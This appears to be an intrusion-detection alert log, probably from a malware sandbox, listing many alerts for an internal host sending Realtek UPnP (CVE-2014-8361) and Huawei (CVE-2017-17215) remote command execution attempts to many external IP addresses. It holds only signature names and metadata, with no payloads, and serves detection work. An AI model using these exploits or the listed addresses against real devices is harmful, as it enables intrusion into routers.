ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.202.42.80

Timestamp:	07/20/24-23:01:44.837053
SID:	2025132
Source Port:	42080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.159.217.82

Timestamp:	07/20/24-23:00:59.163619
SID:	2829579
Source Port:	56186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.124.235.174

Timestamp:	07/20/24-23:01:43.946478
SID:	2027339
Source Port:	57058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.82.7.154

Timestamp:	07/20/24-23:01:52.061339
SID:	2025132
Source Port:	38364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.110.172.241

Timestamp:	07/20/24-23:01:41.974742
SID:	2025132
Source Port:	47836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.86.226.219

Timestamp:	07/20/24-23:01:43.282556
SID:	2027339
Source Port:	35706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.80.243.157

Timestamp:	07/20/24-23:01:44.756264
SID:	2831300
Source Port:	49984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.112.72.60

Timestamp:	07/20/24-23:01:46.068251
SID:	2027339
Source Port:	49446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.117.12.122

Timestamp:	07/20/24-23:01:43.540053
SID:	2027339
Source Port:	55358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.100.29.197

Timestamp:	07/20/24-23:01:27.653028
SID:	2829579
Source Port:	49014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.207.21.198

Timestamp:	07/20/24-23:01:42.692691
SID:	2027339
Source Port:	59040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.54.172.151

Timestamp:	07/20/24-23:01:45.194629
SID:	2027339
Source Port:	33264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.240.72.8

Timestamp:	07/20/24-23:01:45.164161
SID:	2027339
Source Port:	45426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.251.158

Timestamp:	07/20/24-23:00:57.221921
SID:	2829579
Source Port:	49826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 89.81.144.22

Timestamp:	07/20/24-23:01:45.194629
SID:	2831300
Source Port:	33566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.166.49.173

Timestamp:	07/20/24-23:01:48.386032
SID:	2025132
Source Port:	37672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.121.190.157

Timestamp:	07/20/24-23:01:43.415157
SID:	2025132
Source Port:	58212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.138.36.57

Timestamp:	07/20/24-23:01:21.936545
SID:	2829579
Source Port:	56194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.154.95.35

Timestamp:	07/20/24-23:01:40.320408
SID:	2835222
Source Port:	35718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.42.160.177

Timestamp:	07/20/24-23:01:02.259642
SID:	2025132
Source Port:	52638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.231.155.95

Timestamp:	07/20/24-23:01:45.175511
SID:	2027339
Source Port:	36088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.167.234.201

Timestamp:	07/20/24-23:01:41.378871
SID:	2027339
Source Port:	58286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.69.102.152

Timestamp:	07/20/24-23:01:41.987411
SID:	2027339
Source Port:	33048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.165.192.32

Timestamp:	07/20/24-23:02:02.415002
SID:	2025132
Source Port:	51230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 156.42.244.253

Timestamp:	07/20/24-23:01:47.485617
SID:	2831300
Source Port:	55016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.111.61.71

Timestamp:	07/20/24-23:01:49.145932
SID:	2027339
Source Port:	52068
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.217.152.189

Timestamp:	07/20/24-23:01:55.359808
SID:	2027339
Source Port:	39022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.208.170.61

Timestamp:	07/20/24-23:01:08.667964
SID:	2027339
Source Port:	36898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.211.124.159

Timestamp:	07/20/24-23:01:47.385543
SID:	2027339
Source Port:	37590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.173.191.58

Timestamp:	07/20/24-23:01:51.932550
SID:	2027339
Source Port:	54136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.86.48.66

Timestamp:	07/20/24-23:01:43.001716
SID:	2025132
Source Port:	39670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.132.250.53

Timestamp:	07/20/24-23:01:42.627588
SID:	2025132
Source Port:	41408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.178.130.155

Timestamp:	07/20/24-23:01:54.567167
SID:	2027339
Source Port:	55626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 58.239.1.240

Timestamp:	07/20/24-23:01:25.388031
SID:	2025132
Source Port:	60752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.133.252.53

Timestamp:	07/20/24-23:01:52.425638
SID:	2831300
Source Port:	36282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.46.168.107

Timestamp:	07/20/24-23:01:08.652877
SID:	2027339
Source Port:	37552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.77.58.220

Timestamp:	07/20/24-23:01:08.574948
SID:	2831300
Source Port:	38282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.205.238.167

Timestamp:	07/20/24-23:01:08.565561
SID:	2831300
Source Port:	54690
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.13.209.238

Timestamp:	07/20/24-23:01:41.722161
SID:	2025132
Source Port:	35428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 76.231.40.42

Timestamp:	07/20/24-23:01:44.274940
SID:	2831300
Source Port:	58340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.243.220.45

Timestamp:	07/20/24-23:01:02.066908
SID:	2829579
Source Port:	51714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.235.235.116

Timestamp:	07/20/24-23:02:45.524183
SID:	2027339
Source Port:	41146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.16.13.92

Timestamp:	07/20/24-23:01:03.970797
SID:	2027339
Source Port:	52042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.161.188.69

Timestamp:	07/20/24-23:01:00.638418
SID:	2829579
Source Port:	59370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 72.2.201.225

Timestamp:	07/20/24-23:01:49.810143
SID:	2025132
Source Port:	32836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 194.155.182.26

Timestamp:	07/20/24-23:01:44.203130
SID:	2025132
Source Port:	59938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.181.137.93

Timestamp:	07/20/24-23:01:47.892814
SID:	2027339
Source Port:	53108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 46.179.46.173

Timestamp:	07/20/24-23:01:45.716157
SID:	2025132
Source Port:	56142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.215.4.32

Timestamp:	07/20/24-23:01:13.331592
SID:	2027339
Source Port:	56494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.120.27.200

Timestamp:	07/20/24-23:01:56.300735
SID:	2025132
Source Port:	38046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.157.173.191

Timestamp:	07/20/24-23:01:04.114673
SID:	2835222
Source Port:	45294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.146.42.42

Timestamp:	07/20/24-23:01:42.718643
SID:	2027339
Source Port:	58412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.115.164.104

Timestamp:	07/20/24-23:01:48.255782
SID:	2025132
Source Port:	37054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.136.49.118

Timestamp:	07/20/24-23:02:48.447183
SID:	2025132
Source Port:	51008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 168.71.222.184

Timestamp:	07/20/24-23:03:46.099099
SID:	2025132
Source Port:	39362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.21.55.96

Timestamp:	07/20/24-23:01:46.439689
SID:	2027339
Source Port:	35164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.50.68.232

Timestamp:	07/20/24-23:01:52.686542
SID:	2027339
Source Port:	51606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.239.73.219

Timestamp:	07/20/24-23:01:41.686830
SID:	2027339
Source Port:	45028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.166.48.209

Timestamp:	07/20/24-23:01:27.650243
SID:	2829579
Source Port:	58838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.246.47.96

Timestamp:	07/20/24-23:01:07.004906
SID:	2829579
Source Port:	46974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.99.159.58

Timestamp:	07/20/24-23:01:02.048214
SID:	2835222
Source Port:	48170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.188.89.36

Timestamp:	07/20/24-23:01:03.819275
SID:	2027339
Source Port:	60586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.250.222.170

Timestamp:	07/20/24-23:01:42.574571
SID:	2831300
Source Port:	36666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.165.17.202

Timestamp:	07/20/24-23:01:42.935667
SID:	2025132
Source Port:	33366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 101.35.135.206

Timestamp:	07/20/24-23:01:52.487978
SID:	2025132
Source Port:	52836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.191.35.155

Timestamp:	07/20/24-23:01:48.187360
SID:	2027339
Source Port:	38882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.207.159

Timestamp:	07/20/24-23:00:57.222029
SID:	2829579
Source Port:	58950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.88.74.31

Timestamp:	07/20/24-23:01:44.640160
SID:	2027339
Source Port:	56874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.65.97.97

Timestamp:	07/20/24-23:01:53.387026
SID:	2027339
Source Port:	56040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.180.13.92

Timestamp:	07/20/24-23:01:56.400580
SID:	2831300
Source Port:	43012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.123.182.34

Timestamp:	07/20/24-23:01:41.426681
SID:	2027339
Source Port:	37400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.200.160.126

Timestamp:	07/20/24-23:01:45.370481
SID:	2027339
Source Port:	56636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.225.187.157

Timestamp:	07/20/24-23:01:04.798513
SID:	2027339
Source Port:	47786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.94.23.218

Timestamp:	07/20/24-23:01:07.018425
SID:	2829579
Source Port:	41338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.23.231.227

Timestamp:	07/20/24-23:01:03.060799
SID:	2025132
Source Port:	60402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 116.126.39.243

Timestamp:	07/20/24-23:01:51.888686
SID:	2025132
Source Port:	35966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.13.28.171

Timestamp:	07/20/24-23:01:43.528108
SID:	2025132
Source Port:	51436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.249.16.252

Timestamp:	07/20/24-23:01:00.645051
SID:	2835222
Source Port:	46822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.254.228.216

Timestamp:	07/20/24-23:01:08.556166
SID:	2027339
Source Port:	36780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.178.59.59

Timestamp:	07/20/24-23:01:31.312614
SID:	2027339
Source Port:	43754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.36.30.205

Timestamp:	07/20/24-23:01:21.909111
SID:	2829579
Source Port:	54320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.168.92

Timestamp:	07/20/24-23:01:20.098209
SID:	2835222
Source Port:	36964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.18.159.220

Timestamp:	07/20/24-23:01:42.687128
SID:	2027339
Source Port:	38200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.229.17.57

Timestamp:	07/20/24-23:01:00.636533
SID:	2829579
Source Port:	41368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 87.221.31.50

Timestamp:	07/20/24-23:01:21.943544
SID:	2829579
Source Port:	40920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.157.20.139

Timestamp:	07/20/24-23:01:24.612014
SID:	2025132
Source Port:	46950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.122.229.51

Timestamp:	07/20/24-23:01:42.979245
SID:	2027339
Source Port:	33440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.169.170.137

Timestamp:	07/20/24-23:01:43.013771
SID:	2025132
Source Port:	52668
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 65.170.62.168

Timestamp:	07/20/24-23:01:46.069088
SID:	2831300
Source Port:	40866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 212.202.137.63

Timestamp:	07/20/24-23:01:31.331820
SID:	2831300
Source Port:	36730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 23.141.254.89

Timestamp:	07/20/24-23:01:52.914136
SID:	2831300
Source Port:	40474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.7.60.196

Timestamp:	07/20/24-23:01:08.595072
SID:	2027339
Source Port:	58938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.254.78.153

Timestamp:	07/20/24-23:01:43.071126
SID:	2027339
Source Port:	44716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.182.11.252

Timestamp:	07/20/24-23:01:08.659435
SID:	2027339
Source Port:	52074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.216.133.169

Timestamp:	07/20/24-23:00:59.213564
SID:	2829579
Source Port:	44552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.181.131.100

Timestamp:	07/20/24-23:01:42.165780
SID:	2831300
Source Port:	51498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.4.61

Timestamp:	07/20/24-23:01:02.113054
SID:	2835222
Source Port:	44984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.116.111.15

Timestamp:	07/20/24-23:01:12.852602
SID:	2831300
Source Port:	40150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.199.13.54

Timestamp:	07/20/24-23:01:47.614619
SID:	2027339
Source Port:	50834
